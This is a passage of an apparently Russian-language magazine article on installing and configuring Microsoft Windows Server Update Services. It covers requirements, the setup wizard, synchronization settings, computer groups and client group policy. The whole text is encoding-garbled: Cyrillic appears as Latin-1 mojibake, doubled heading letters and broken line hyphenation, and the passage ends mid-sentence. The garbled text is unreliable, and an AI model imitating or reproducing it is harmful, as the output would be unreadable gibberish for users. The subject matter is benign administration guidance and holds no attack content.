äîñòóïíûå íà ãëàâíîì ñåðâåðå,
ìîæíî, ê ïðèìåðó, çàïèñàòü íà áîë-
âàíêó è ñ åå ïîìîùüþ ïåðåíåñòè íà
îñòàëüíûå WSUS. Òàêàÿ ôåíüêà
ìîæåò áûòü ïîëåçíîé, åñëè òû îá-
ñëóæèâàåøü íåñêîëüêî ëîêàëîê,
ìåæäó êîòîðûìè íåò âûñîêîñêî-
ðîñòíîãî ïîäêëþ÷åíèÿ.
Ïîäêëþ÷àÿñü ê WSUS-ñåðâåðó,
êëèåíò ïåðåäàåò èíôîðìàöèþ îá
óñòàíîâëåííûõ àïäåéòàõ. Ñåðâåð
ïðîáèâàåò ýòè äàííûå ïî ñâîåé áàçå äàííûõ è îòäàåò åìó âñå àêòóàëü-
íûå àïäåéòû. Îáíîâëåíèå áàç WSUS ìîæåò òàêæå îñóùåñòâëÿòüñÿ íà ðå-
ãóëÿðíîé îñíîâå, áëàãî ýòîò ïðîöåññ èìååò äîâîëüíî ìíîãî ïàðàìåòðîâ.
Â ñëó÷àå íåîáõîäèìîñòè ìîæåò áûòü îáíîâëåíà è ñàìà ñëóæáà àâòîìà-
òè÷åñêèõ îáíîâëåíèé, ïðè÷åì êàê êëèåíòñêàÿ, òàê è ñåðâåðíàÿ ÷àñòè. Ýòî
ïðîèçîéäåò, åñëè íà ñåðâåðå áóäåò äîñòóïíû èõ íîâûå âåðñèè.
Âñÿ èíôîðìàöèÿ îá îáíîâëåíèÿõ öåíòðàëèçîâàíî õðàíèòñÿ â áàçå äàí-
íûõ. Â êà÷åñòâå ðàáî÷åé ïëîùàäêè ìîæåò áûòü èñïîëüçîâàíà êàê ìîù-
íàÿ Microsoft SQL Server, òàê è áîëåå ëåãêàÿ è áåñïëàòíàÿ MS SQL Ser-
ver Desktop Engine (ñîêðàùåííî MSDE). 

Áîëåå òîãî, â ñîñòàâ WSUS âêëþ÷åíà Microsoft Windows Server Desktop En-
gine (MSWDE), êîòîðîé, ïðàâäà, ìîæíî âîñïîëüçîâàòüñÿ òîëüêî ïîä Win-
dows 2003 Server. Â áàçå äàííûõ õðàíÿòñÿ ïîëíûé ïåðå÷åíü è îïèñàíèå äî-
ñòóïíûõ îáíîâëåíèé, êîíôèãè WSUS, èíôîðìàöèÿ î ñîñòîÿíèè îáíîâëå-
íèé êëèåíòñêèõ êîìïüþòåðîâ, à òàêæå ìíîãî÷èñëåííûå îò÷åòû î ðàáîòå.

[[óóññòòààííîîââêêàà WWSSUUSS]] ×òîáû äî êîíöà îñîçíàòü âñþ ãèáêîñòü òåõíîëîãèè
WSUS, ïðåäëàãàþ ïîñìîòðåòü åå â äåéñòâèè � ïðèñòåãíèñü, ìû ïðèñòó-
ïàåì ê óñòàíîâêå. Â ïåðâóþ î÷åðåäü íåîáõîäèìî ïîäãîòîâèòü ïîäõîäÿ-
ùóþ ïëàòôîðìó. Êàê óæå áûëî ñêàçàíî, WSUS ìîæíî óñòàíîâèòü òîëü-
êî íà ñåðâåðíîé Windows 2000 è Windows 2003, çà èñêëþ÷åíèåì åå 64-
áèòíûõ è Web Edition âåðñèé. Äëÿ îáñëóæèâàíèÿ ñðåäíåé ëîêàëüíîé ñå-
òè, ñîñòîÿùèé èç 500 ìàøèí, èíæåíåðû Microsoft ðåêîìåíäóþò èñïîëü-
çîâàòü ñåðâåð, èìåþùèé íà áîðòó 1 ÃÃö ïðîöåññîð è 1 Ãá îïåðàòèâêè.
Ïîòðåáóåòñÿ, êàê ìèíèìóì, 1 Ãá äèñêîâîãî ïðîñòðàíñòâà äëÿ ñàìîé
WSUS (ïðè âñåì òîì, ÷òî äèñòðèáóòèâ âåñèò âñåãî 130 Ìá), à òàêæå 6 Ãá
äëÿ õðàíåíèÿ äàííûõ (àïäåéòîâ, çàïëàòîê è ò.ä.). Ïîìèìî ýòîãî, ïðåäúÿ-
âëÿþòñÿ òðåáîâàíèÿ ïî óñòàíîâëåííîìó â ñèñòåìå ïðîãðàììíîìó îáåñ-
ïå÷åíèþ. Òàê äëÿ óñòàíîâêè è äàëüíåéøåé ðàáîòû WSUS ïîòðåáóåòñÿ:
1) Microsoft Internet Information Services (IIS) 6.0, êîòîðûé, ñêîðåå âñåãî,
áûë óñòàíîâëåí âìåñòå ñ ñàìîé âèíäîé.
2) Microsoft .NET Framework 1.1 Service Pack 1 for Windows Server 2003. 
3) Background Intelligent Transfer Service (BITS) 2.0.
Ïîñêîëüêó WSUS àêòèâíî èñïîëüçóåò áàçó äàííûõ, òî ýòîò ñïèñîê ìîæ-
íî áûëî áû äîïîëíèòü åùå è ÑÓÁÄ. Íî êàê óæå áûëî ñêàçàíî, â äèñòðè-
áóòèâ WSUS âêëþ÷åíà áåñïëàòíàÿ WMSDE, êîòîðàÿ âïîëíå óñïåøíî
ñïðàâëÿåòñÿ ñî âñåìè âîçëîæåííûìè íà íåå çàäà÷àìè. Ïðàâäà, äëÿ åå
óñòàíîâêè ïîòðåáóåòñÿ åùå, êàê ìèíèìóì, 2 Ãá íà âèíòå. Âñå ïåðå÷è-
ñëåííîå, à çàîäíî è äèñòðèáóòèâ WSUS ìîæíî íàéòè íà íàøèõ äèñêàõ
èëè æå çàêà÷àòü ñ îôèöèàëüíîãî ñàéòà WSUS � www.microsoft.com/win-
dowsserversystem/updateservices/downloads.
Óñòàíàâëèâàòü WSUS óïîëíîìî÷åíû òîëüêî ÷ëåíû ëîêàëüíîé ãðóïïû
� Àäìèíèñòðàòîðû � ýòî åùå îäíî âàæíîå òðåáîâàíèÿ äëÿ óñòàíîâ-
êè. Ïîýòîìó ïåðåä òåì, êàê ïðèñòóïèòü ê óñòàíîâêå, íåîáõîäèìî çàé-
òè â ñèñòåìó ïîä àäìèíèñòðàòîðñêèì àêêàóíòîì. Íèæå ÿ ðàññìîòðþ
äîâîëüíî ïðîñòîé, îäíàêî, ñàìûé ðàñïðîñòðàíåííûé è ýôôåêòèâíûé
ñïîñîá óñòàíîâêè è èñïîëüçîâàíèÿ WSUS. Ðàáîòà WSUS è âñòðîåí-
íîé ÑÓÁÄ WMSDE áóäåò îñóùåñòâëÿòüñÿ ïîä óïðàâëåíèåì Windows
2003 Server ñ óñòàíîâëåííûì ISS, à âñå îáíîâëåíèÿ, çàïëàòêè è ñîôò
áóäóò ëîêàëüíî õðàíèòüñÿ íà ñåðâåðå.
Äèñòðèáóòèâ ñåðâåðà ðàñïðîñòðàíÿåòñÿ â âèäå îäíîãî åäèíñòâåííîãî èñ-
ïîëíÿåìîãî ôàéëà � WSUSSetup.exe. Çàïóñòèâ åãî, òû óâèäèøü óäîá-
íûé ìàñòåð óñòàíîâêè, êîòîðûé áóäåò ðóêîâîäèòü ïðîöåññîì ïåðâè÷íîé
óñòàíîâêè ñåðâèñà. Ïîñëå òðàäèöèîííîãî ïðèíÿòèÿ ëèöåíçèîííîãî ñîãëà-
øåíèÿ, ìàñòåð ïðåäëîæèò òåáå óêàçàòü ìåñòî, â êîòîðîì WSUS áóäåò
õðàíèòü îáíîâëåíèÿ. Â ïðèíöèïå, òû ìîæåøü ýòîò ïóòü íå óêàçûâàòü (äëÿ
ýòîãî äîñòàòî÷íî óáðàòü åäèíñòâåííóþ ãàëêó â ýòîì îêíå), îäíàêî àïäåé-
òû â ýòîì ñëó÷àå áóäóò âûêà÷èâàòüñÿ èç Ñåòè êàæäûé ðàç ïî çàïðîñó
ïîëüçîâàòåëÿ. Ýòî íå òîëüêî óâåëè÷èò êîëè÷åñòâî èíòåðíåò-òðàôèêà, íî

www.microsoft.com/win-
dowsserversystem/updates-
ervices � îôèöèàëüíûé
ñàéò WSUS 
www.wsuswiki.com �
îãðîìíîå êîëè÷åñòâî èí-
ôîðìàöèè ïî WSUS îò
îïûòíûõ àäìèíîâ.

Èíôîðìàöèþ î òåõíîëîãèè
Active Directory è ïîäðîá-
íûé ìàíóàë ïî åå íàñòðîé-
êè èùè â #2 è #5 íîìåðàõ
Õ. Áåç áàçîâûõ çíàíèé ñåð-
âåðíûõ âåðñèé Windows
ñåãîäíÿ íå îáîéòèñü.

Ïðåäøåñòâåííèêîì òåõíî-
ëîãèè WSUS ÿâëÿåòñÿ SUS
(Software Update Services),
î êîòîðîé ìîæíî ïî÷èòàòü
íà ñàéòå www.micro-
soft.com/Rus/DesktopDeplo-
yment/security/sus.mspx.
Îäíàêî íîâàÿ ñèñòåìà íàì-
íîãî áîëåå ôóíêöèîíàëüíà
è óäîáíà â èñïîëüçîâàíèè.

â êðóïíîé êîðïîðàòèâíîé ñåòè
ìîæíî îðãàíèçîâàòü öåëóþ èå-
ðàðõèþ èç WSUS-ñåðâåðîâ 

åñëè ìåæäó WSUS-ñåðâåðàìè îò-
ñóòñòâóåò ïðÿìîå ñîåäèíåíèå, âñå
îáíîâëåíèÿ è ïàò÷è ìîæíî ïåðå-
íåñòè íà áîëâàíêó èëè äðóãîé íî-
ñèòåëü

õðàíåíèå îáíîâëåíèé íà ëîêàëü-
íîì äèñêå � çàëîã óñïåõà!

â ñîñòàâ WSUS âõîäèò ïîëíîöåí-
íàÿ è ïðè ýòîì áåñïëàòíàÿ ÑÓÁÄ -
SQL Sever Desktop Engine (Win-
dows), íåîáõîäèìàÿ äëÿ åãî ðàáîòû [X
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è ñóùåñòâåííî ñíèçèò
ñêîðîñòü îáíîâëåíèÿ.
Ñóäè ñàì: àïäåéòû èç
ëîêàëêè çàêà÷àëèñü
áû íàìíîãî áûñòðåå,
íåæåëè èç èíòåðíåòà.
Íà ñëåäóþùåì øàãó ìà-
ñòåð ïðåäëîæèò îáîçíà-
÷èòü ïàðàìåòðû èñïîëü-
çóåìîé ÑÓÁÄ. Ïî óìîë-
÷àíèþ áóäåò óñòàíàâëè-
âàòüñÿ âñòðîåííàÿ WM-
SDE, íî ýòî ëåãêî ìîæíî
èçìåíèòü. Åñëè íà ñåðâå-
ðå óæå óñòàíîâëåíà êà-
êàÿ-òî ÑÓÁÄ (ê ïðèìåðó,
MS SQL), òû ìîæåøü èñ-
ïîëüçîâàòü èìåííî åå,
âûáðàâ ñîîòâåòñòâóþ-
ùèé ïóíêò â ñïåöèàëü-
íîì âûïàäàþùåì ìåíþ.
Êàê ïîäîáàåò ëþáîé
äîáðîòíîé àäìèíñêîé
ñîôòèíå, WSUS ïîä-
äåðæèâàåò óïðàâëåíèå
÷åðåç WEB-èíòåðôåéñ.

Âñå îáíîâëåíèÿ è ïàò÷è òàêæå ïåðåäàþòñÿ ïî ïðîòîêîëó HTTP (õîòÿ è ñêðû-
òî äëÿ ïîëüçîâàòåëÿ), ïîýòîìó äëÿ åå ðàáîòû êðàéíå íåîáõîäèì ISS. Åñëè
òû åãî íå èñïîëüçîâàë, òî åñòü ïîðò 80 ñâîáîäåí, òî íèêàêèõ ïðîáëåì âîç-
íèêíóòü íå äîëæíî: ïðîñòî îñòàâëÿé âñå íàñòðîéêè ïî óìîë÷àíèþ è æìè
«Äàëåå». Åñëè æå ó òåáÿ óæå åñòü ðàáî÷èé WEB-ñàéò, òî ñåðâèñû WSUS áó-
äóò óñòàíîâëåíû íà ïîðò 8530. Â ýòîì æå îêíå òû óâèäèøü 2 âàæíûõ URL:
îäèí èç íèõ óêàçûâàåò íà ñåðâèñ ñ àïäåéòàìè, äðóãîé � íà àäìèíèñòðàòîð-
ñêèé èíòåðôåéñ. Çàïîìíè èõ: îíè ïîòðåáóþòñÿ äëÿ äàëüíåéøåé íàñòðîéêè.
Â «Ïàðàìåòðàõ çåðêàëüíîãî îáíîâëåíèÿ» àäìèíèñòðàòîðó ïðåäëàãàåòñÿ
îáîçíà÷èòü ðîëü óñòàíàâëèâàåìîãî WSUS-ñåðâåðà. Åñëè ýòî ïåðâûé
WSUS-ñåðâåð â ñåòè, òî ýòîò ýòàï ìîæíî ïðîïóñòèòü. Â ïðîòèâíîì ñëó-
÷àå, íåîáõîäèìî óêàçàòü ñåðâåð, ñòîÿùèé âûøå ïî èåðàðõèè, òî åñòü òîò,
ñ êîòîðîãî áóäóò çàêà÷èâàòüñÿ îáíîâëåíèÿ. Ïîñëå ýòîãî îñòàåòñÿ ëèøü
íåñêîëüêî ðàç íàæàòü «Äàëåå» è æäàòü îêîí÷àíèÿ ïåðâè÷íîé óñòàíîâêè.

[[óóêêððîîùùààååìì WWSSUUSS]] Èòàê, ñàìûé ïðîñòîé ýòàï âûïîëíåí. Òåïåðü íåîáõîäèìî
îòêîíôèãóðèðîâàòü ìàøèíû êëèåíòîâ, à òàêæå ñàì WSUS, ÷òîáû òîò ïðà-
âèëüíî çàêà÷èâàë èç èíåòà è ðàçäàâàë âñå íåîáõîäèìûå îáíîâëåíèÿ. Óïðà-
âëåíèå ñåðâèñîì îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ñïåöèàëüíîé êîíñîëè, êîòî-
ðàÿ ìîæåò áûòü âûçâàíà ÷åðåç Ïóñê ! Âñå ïðîãðàììû ! Àäìèíèñòðèðî-
âàíèå ! Microsoft Windows Server Update Services. Ïîìèìî ýòîãî, ïîëó÷èòü
äîñòóï ê êîíñîëè ìîæíî óäàëåííî ÷åðåç áðàóçåð, îáðàòèâøèñü ïî àäðåñó
http://SERVERNAME/WSUSAdmin (îí áûë îòîáðàæåí íà ýêðàíå âî âðåìÿ
óñòàíîâêè). Äëÿ åå èñïîëüçîâàíèÿ íåîáõîäèìî áûòü ÷ëåíîì ãðóïïû «Àäìè-
íèñòðàòîðû WSUS» èëè «Àäìèíèñòðàòîðû» íà ñåðâåðå WSUS. Ïðè ýòîì
àäðåñ äëÿ äîñòóïà ê êîíñîëè ðåêîìåíäóåòñÿ çàíåñòè â èíòðàíåò- çîíó, âîñ-
ïîëüçîâàâøèñü ñîîòâåòñòâóþùèìè íàñòðîéêàìè Internet Explorer'à (íàïîì-
íþ, ÷òî ëþáîé äðóãîé áðàóçåð íå ïîäîéäåò).
Êîíñîëü WSUS ìîæåò ñíà÷àëà íàïóãàòü îáèëèåì ðàçíîîáðàçíûõ ðàçäå-
ëîâ, íî íà ñàìîì äåëå íè÷åãî ñòðàøíîãî â íèõ íåò. Íà÷íåì ñ íàñòðîéêè òè-
ïîâ îáíîâëÿåìûõ êîìïîíåíòîâ, òàê êàê êàæäûé âûáèðàåò èõ,
èñõîäÿ èç ñâîèõ ñîáñòâåííûõ ïîòðåáíîñòåé. Äëÿ ýòîãî ïåðåõî-
äè â «Ïàðàìåòðû» ! «Ïàðàìåòðû ñèíõðîíèçàöèè». Ñèíõðî-
íèçàöèÿ � ýòî ïðîöåññ ïîèñêà è çàêà÷êè íîâûõ îáíîâëåíèé
íà ñåðâåðå Microsoft, êîòîðûå óäîâëåòâîðÿþò çàäàííûì àäìè-
íèñòðàòîðîì êðèòåðèÿì. Ñîáñòâåííî, ýòè êðèòåðèè è íóæíî
îïðåäåëèòü. Â ïîÿâèâøåìñÿ îêíå èçíà÷àëüíî áóäåò îòêðûò
ðàçäåë «Ðàñïèñàíèå». Ñèíõðîíèçàöèþ ìîæíî ïðîâîäèòü ëè-
áî âðó÷íóþ (íàæàòèåì íà ñïåöèàëüíóþ êíîïêó), èëè æå àâòî-
ìàòè÷åñêè. Íà âðåìÿ íàñòðîéêè è îòëàäêè ñèñòåìû ðåêîìåí-
äóþ îñòàâèòü ïåðâûé âàðèàíò. Âòîðîé ðàçäåë � «Ïðîäóêòû è
êëàññû» � íå ìåíåå âàæåí, òàê êàê â íåì çàäàþòñÿ îáíîâëÿ-
åìûå ïðîäóêòû è òèïû îáíîâëåíèé äëÿ íèõ. Åñëè ùåëêíåøü
ïî êíîïêå «Èçìåíèòü» â ëåâîé ÷àñòè îêíà, òî ïîëó÷èøü ñïè-
ñîê âñåõ äîñòóïíûõ äëÿ îáíîâëåíèÿ ïðîãðàììíûõ ïðîäóêòîâ.
Îòìå÷àé ãàëî÷êàìè òî, ÷òî òåáÿ èíòåðåñóåò (íàïðèìåð, Win-
dows XP, Windows 2003 Server), è æìè «ÎÊ». Äëÿ òîãî ÷òîáû
îáîçíà÷èòü òèïû îáíîâëÿåìûõ ìîäóëåé, íåîáõîäèìî íàæàòü
êíîïêó «Èçìåíèòü» â äðóãîé ÷àñòè îêíà. Ïî óìîë÷àíèþ WSUS
çàãðóæàåò ñ Microsoft'îâñêîãî ñåðâåðà ëèøü êðèòè÷åñêèå îá-
íîâëåíèÿ è îáíîâëåíèÿ ñèñòåìû áåçîïàñíîñòè. Ïî òâîåìó æå-

ëàíèþ â èõ ÷èñëî ìîãóò ïîïàñòü äðàéâåðà, íàêîïèòåëüíûå ïàêåòû îáíîâëå-
íèé, à òàêæå ïàêåòû íîâûõ ôóíêöèé.
Ðàçäåë «Ïðîêñè-ñåðâåð» íåîáõîäèì òîëüêî â ñëó÷àå, èñïîëüçîâàíèÿ â
ñåòè ïðîêñè-ñåðâåðà, à âñå íåîáõîäèìûå ïàðàìåòðû ðàçäåëà «Èñòî÷íèê
îáíîâëåíèÿ» áûëè îáîçíà÷åíû âî âðåìÿ óñòàíîâêè WSUS. Íàìíîãî
áîëüøèé èíòåðåñ äëÿ íàñ ïðåäñòàâëÿåò ðàçäåë «Ôàéëû îáíîâëåíèé è
ÿçûêè». Íàïîìíþ, ÷òî äëÿ êàæäîé ëîêàëèçàöèè ñâîèõ ïðîäóêòîâ Micro-
soft âûïóñêàåò ðàçíûå àïäåéòû è ïàò÷è, êîòîðûå ïî÷åìó-òî íåñîâìåñòè-
ìû ìåæäó ñîáîé. Âûêà÷èâàòü àáñîëþòíî âñå ñîâåðøåííî íå íóæíî, ïî-
ýòîìó, íàæàâ êíîïêó «Äîïîëíèòåëüíî», ÿ îáû÷íî îñòàâëÿþ òîëüêî àí-
ãëèéñêèé è ðóññêèé ÿçûêè. Çäåñü æå çàäàþòñÿ íåñêîëüêî äðóãèõ îïöèé,
íàïðèìåð, ìåñòî õðàíåíèå ôàéëîâ îáíîâëåíèé. Îñòàâü ýòîò ïàðàìåòð
êàê åñòü, òàê êàê óæå âî âðåìÿ óñòàíîâêè ìû óêàçàëè, ÷òî âñå äàííûå
íåîáõîäèìî õðàíèòü íà æåñòêîì äèñêå. Âàæíîé òàêæå ÿâëÿåòñÿ îïöèÿ
«Çàãðóæàòü ôàéëû îáíîâëåíèé íà ýòîò ñåðâåð, òîëüêî åñëè îíè îäîáðå-
íû». Îäîáðèòü îáíîâëåíèå ìîæíî êàê â ðó÷íîì (÷åðåç ñîîòâåòñòâóþùèé
äèàëîã WSUS êîíñîëè), òàê è àâòîìàòè÷åñêîì ðåæèìå, êîòîðûé íà-
ñòðàèâàåòñÿ ÷åðåç ðàçäåë «Ïàðàìåòðû» ! «Ïàðàìåòðû àâòîìàòè÷åñêî-
ãî îáíîâëåíèÿ». Àêòèâèðîâàâ ýòó îïöèþ, òû ïîëó÷èøü âîçìîæíîñòü
îäîáðÿòü è çàêà÷èâàòü íåêîòîðûå ñïåöèôè÷åñêèå òèïû îáíîâëåíèé (íà-
ïðèìåð, äðàéâåðà) â ïîëóàâòîìàòè÷åñêîì ðåæèìå, âûáèðàÿ ëèøü òî,
÷òî òåáå äåéñòâèòåëüíî íóæíî. Â òîæå âðåìÿ îáíîâëåíèÿ, äëÿ êîòîðûõ
óñòàíîâëåíî àâòîìàòè÷åñêîå îäîáðåíèå (íàïðèìåð, êðèòè÷åñêèå çà-
ïëàòêè), áóäóò íà àâòîìàòå çàêà÷èâàòüñÿ áåç òâîåãî âåäîìà.
Òåïåðü, êîãäà ïàðàìåòðû ñèíõðîíèçàöèè ïîëíîñòüþ óñòàíîâëåíû, ìîæ-
íî íàïîëíèòü íàø WSUS-ñåðâåð àïäåéòàìè. Æìè íà êíîïêó «Ñèíõðîíè-
çèðîâàòü ñåé÷àñ» è æäè çàâåðøåíèÿ ïðîöåññà. Ïîñëå ñîåäèíåíèÿ,
WSUS ïîïûòàåòñÿ âûÿñíèòü, åñòü ëè íà ñåðâåðå íîâûå îáíîâëåíèÿ �
îíè òàì îáÿçàòåëüíî îêàæóòñÿ, òàê êàê  ýòà íàøà ïåðâàÿ ñèíõðîíèçàöèÿ.
Åñëè äëÿ íåêîòîðûõ òèïîâ àïäåéòîâ òû óñòàíîâèë àâòîìàòè÷åñêîå îäîá-
ðåíèå, òî ñðàçó æå íà÷íåòñÿ ïðîöåññ èõ çàêà÷êè. Âñå îñòàëüíûå îáíî-
âëåíèÿ áóäóò òàêæå çàêà÷åíû, íî òîëüêî ïîñëå òîãî, êàê àäìèíèñòðàòîð
äàñò ñîîòâåòñòâóþùóþ êîìàíäó. Ïîñëå îêîí÷àíèÿ ñèíõðîíèçàöèè â
WSUS-êîíñîëå îáÿçàòåëüíî îòêðîé ðàçäåë «Îáíîâëåíèÿ», è òû óâè-
äèøü ñïèñîê âñåõ äîñòóïíûõ îáíîâëåíèé.

[[ããððóóïïïïîîââûûåå ïïîîëëèèòòèèêêèè]] WSUS àêòèâíî èñïîëüçóåò ãðóïïîâûå ïîëèòèêè è
â çàâèñèìîñòè îò íàñòðîåê òîé èëè èíîé ãðóïïû ñîîòâåòñòâóþùèì îáðà-
çîì îáñëóæèâàåò ïðèíàäëåæàùåãî åé êëèåíòà. Â äîêóìåíòàöèè ê WSUS
ñïåöû èç Microsoft ðåêîìåíäóþò ñîçäàòü, êàê ìèíèìóì, äâå ãðóïïû: òå-
ñòîâóþ è îñíîâíóþ. ×ëåíàì òåñòîâîé ãðóïïû (æåëàòåëüíî, ÷òîáû ýòî áû-
ëè îïûòíûå þçåðû) äîñòóïíû àáñîëþòíî âñå îáíîâëåíèÿ, êîòîðûå óñòà-
íàâëèâàþòñÿ íà èõ ìàøèíàõ ïî ìåðå ïîÿâëåíèÿ. Ïî ñóòè, ýòî ïîäîïûò-
íûå êðîëèêè � íà íèõ òû ïðîâåðÿåøü ñòîéêîñòü âûøåäøèõ îáíîâëåíèé.
Åñëè ïîñëå óñòàíîâêè íè÷åãî ñìåðòåëüíîãî íå ïðîèçîéäåò, àïäåéòû
ìîæíî äåëàòü äîñòóïíûìè äëÿ îñíîâíîé ãðóïïû. Íî åñëè ïîëó÷èòñÿ òàê,
÷òî Microsoft äîïóñòèò îïëîøíîñòü, âûïóñòèâ ãëþêàâûé àïäåéò, òî ïðî-
áëåìû êîñíóòüñÿ òîëüêî òåñòîâîé ãðóïïû, à îñíîâíàÿ ÷àñòü êîìïüþòå-
ðîâ ïî-ïðåæíåìó áóäåò ðàáîòàòü «íà óðà».
Ïðîöåññ îðãàíèçàöèè ãðóïï îñóùåñòâëÿåòñÿ â äâà ýòàïà. Âî-ïåðâûõ,
íóæíî óêàçàòü, êàêèì îáðàçîì êîìïüþòåðû áóäóò ðàñïðåäåëÿòüñÿ ïî
ãðóïïàì. Çäåñü åñòü äâà âàðèàíòà: ëèáî òû âðó÷íóþ áóäåøü äîáàâëÿòü
êàæäûé êîìïüþòåð â ãðóïïó ïîñðåäñòâàì WSUS-êîíñîëè (òî åñòü ñî
ñòîðîíû ñåðâåðà), ëèáî æå êëèåíòû àâòîìàòè÷åñêè áóäóò ïîïàäàòü â
íóæíóþ ãðóïïó íà îñíîâå ñâîèõ ãðóïïîâûõ ïîëèòèê èëè íàñòðîåê ðåå-
ñòðà âèíäû (òî åñòü ïðèíàäëåæíîñòü ê ãðóïïå âûáèðàåòñÿ ñî ñòîðîíû

ñïèñîê ñâåæèõ àïäåéòîâ

ãëàâíîå îêíî WSUS-êîíñîëè 
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êëèåíòà). Âî-âòîðûõ, ýòè ñàìûå ãðóïïû
íåîáõîäèìî ñîçäàòü. Â ëîêàëüíîé ñåòè ñðåä-
íåé âåëè÷èíû âñå êîìïüþòåðû äîâîëüíî ëåãêî
ðàññîðòèðîâàòü ïî ãðóïïàì âðó÷íóþ, ïîýòîìó
ýòîò ñïîñîá èñïîëüçóåòñÿ ïî óìîë÷àíèþ. Â
ýòîì ëåãêî óáåäèòüñÿ, ùåëêíóâ ïî êíîïêå «Ïà-
ðàìåòðû» è âûáðàâ «Ïàðàìåòðû êîìïüþòå-
ðîâ». Â ïîÿâèâøåìñÿ îêíå äîëæíà áûòü àêòèâ-
íà íàñòðîéêà «Ïåðåìåñòèòü êîìïüþòåðû â
Windows Server Update Services».
Âîîáùå, ñîçäàíèå ãðóïïû � ýòî äîâîëüíî ïðî-
ñòàÿ çàäà÷à. Êëèêíè â âåðõíåì ìåíþ ïî êíîïêå
«Êîìïüþòåðû», äàëåå «Ñîçäàòü ãðóïïó êîì-
ïüþòåðîâ» è ââåäè èìÿ ãðóïïû. Äîïóñòèì, ìû
ñîçäàåì òåñòîâóþ ãðóïïó (õîòÿ ýòî íåâàæíî),
ïîýòîìó íàçîâåì åå Test. Îäíà ëèøü ïðîáëåìà
� äîáàâëÿòü â íåå ïîêà íåêîãî, òàê êàê ëèñòèíã
«Êîìïüþòåðû» ïîêà ïóñò. Ýòî âïîëíå ëîãè÷íî,
òàê êàê îáû÷íûå êîìïüþòåðû â ñåòè ïîêà íå
çíàþò î ñóùåñòâîâàíèè ëîêàëüíîãî WSUS-
ñåðâåðà è, ñîîòâåòñòâåííî, íå îáðàùàþòñÿ ê
íåìó. Ýòî íóæíî èñïðàâèòü :)
Ñïîñîá êîíôèãóðèðîâàíèÿ ñëóæáû àâòîìàòè-
÷åñêèõ îáíîâëåíèé íà ðàáî÷èõ ñòàíöèÿõ çàâè-
ñèò îò êîíôèãóðàöèè ñåòè. Â ñðåäå Active Direc-
tory (òî åñòü ëîêàëüíîé ñåòè ñ ðàçâåðíóòîé
ñëóæáîé êàòàëîãîâ) ìîæíî íàñòðîèòü âñå êîì-
ïüþòåðû ñðàçó, èñïîëüçóÿ ëèøü îáúåêòû ãðóï-

ïîâîé ïîëèòèêè (Group Policy Objetcs, GPO).
Ïðè òàêîì ðàñêëàäå Microsoft ðåêîìåíäóåò ñîç-
äàòü íîâûé GPO, ñîäåðæàùèé èñêëþ÷èòåëüíî
íàñòðîéêè äëÿ ðàáîòû ñ WSUS-ñåðâåðîì, ïî-
ñëå ÷åãî ïðèëèíêîâàòü åãî ê íóæíîìó êîíòåéíå-
ðó (÷àùå âñåãî � äîìåíó). Áîëåå ïîäðîáíî
ìîæíî ïî÷èòàòü çäåñü � http://go.micro-
soft.com/fwlink/?LinkID=14232, http://go.micro-
soft.com/fwlink/?LinkID=41777. Ñåé÷àñ æå ìû
ðàññìîòðèì âàðèàíò, êîãäà Active Directory â
ñåòè íå óñòàíîâëåí è íàñòðîéêè íà êàæäîì êëè-
åíòñêîì êîìïüþòåðå íåîáõîäèìî óêàçûâàòü
âðó÷íóþ ñ ïîìîùüþ ëîêàëüíîé ãðóïïîâîé ïî-
ëèòèêè. Äëÿ ýòîãî íà êëèåíòñêîé ìàøèíå íàæè-
ìàé Ïóñê ! Âûïîëíèòü ! gpedit.msc. Â ïîÿâèâ-
øåìñÿ îêíå îòêðîé óçåë Ãðóïïîâàÿ ïîëèòèêà è
êëèêíè ïðàâîé êíîïêîé ìûøè ïî ïóíêòó «Àäìè-
íèñòðàòèâíûå øàáëîíû». Â êîíòåêñòíîì ìåíþ
âûáåðè «Äîáàâëåíèå è óäàëåíèå øàáëîíîâ»,
äàëåå «Äîáàâèòü», ôàéë wuau.adm. Òåïåðü, ðà-
ñêðûâ óçåë «Êîìïîíåíòû Windows», òû óâè-
äèøü ïóíêò Windows Update � çäåñü-òî è çàäà-
þòñÿ íàñòðîéêè ñëóæáû àâòîìàòè÷åñêèõ îáíî-
âëåíèé. Ñ ïîìîùüþ ïàðàìåòðà «Íàñòðîéêà àâ-
òîìàòè÷åñêîãî îáíîâëåíèÿ» ìîæíî óêàçàòü ïå-
ðèîäè÷íîñòü îáðàùåíèÿ ê WSUS-ñåðâåðó, à
òàêæå ïîðÿäîê çàãðóçêè è óñòàíîâêè îáíîâëå-
íèé. Â áîëüøèíñòâå ñëó÷àåâ ïîäîéäåò âàðèàíò
«Çàãðóæàòü àâòîìàòè÷åñêè è óñòàíàâëèâàòü».
Ñëåäóþùèé ïàðàìåòð � «Óêàçàòü ðàçìåùåíèå
ñëóæáû îáíîâëåíèé Microsoft â èíòðàñåòè» �
åùå áîëåå âàæåí, òàê êàê çäåñü çàäàþòñÿ ïàðà-
ìåòðû WSUS-ñåðâåðà. Äëÿ òîãî ÷òîáû âñÿ ñè-
ñòåìà çàðàáîòàëà, â ïåðâîì òåêñòîâîì ïîëå
óêàæè http://SERVERNAME, ãäå SERVERNAME
� èìÿ èëè IP-àäðåñ ñåðâåðà WSUS.
À òåïåðü ïîïðîáóåì ïîäêëþ÷èòüñÿ ê ñåðâåðó ñ
àïäåéòàìè. Äëÿ ýòîãî ñîâåðøåííî íåîáÿçàòåëü-
íî æäàòü âðåìåíè, íà êîòîðîå çàïëàíèðîâàíî
îáíîâëåíèå. Âûáåðè «Ïóñê» ! «Âûïîëíèòü» è
ââåäè wuauclt.exe /detectnow. Åñëè ïîäêëþ÷å-
íèå ïðîéäåò óñïåøíî, òî èìÿ ýòîãî êîìïüþòåðà
îòîáðàçèòñÿ â êîíñîëå WSUS íà ñòðàíèöå
«Êîìïüþòåðû». Òåáå îñòàåòñÿ ëèøü äîáàâèòü
åãî â íóæíóþ ãðóïïó è ïðîâåðíóòü òîò æå ôîêóñ
ñî âñåìè îñòàëüíûìè êîìïüþòåðàìè ñåòè. 

[[ââ ççààêêëëþþ÷÷ååííèèåå]] Ïî ñóùåñòâó, áîëüøàÿ ÷àñòü ðà-
áîòû âûïîëíåíà. Êîìïüþòåðû ñåòè ïîäêëþ÷à-
þòñÿ ê WSUS-ñåðâåðó è çàêà÷èâàþò íåîáõîäè-
ìûå îáíîâëåíèÿ. Ñàì WSUS ÷åòêî îáðàáàòû-
âàåò èõ çàïðîñû â ñîîòâåòñòâèè ñ ãðóïïîâûìè
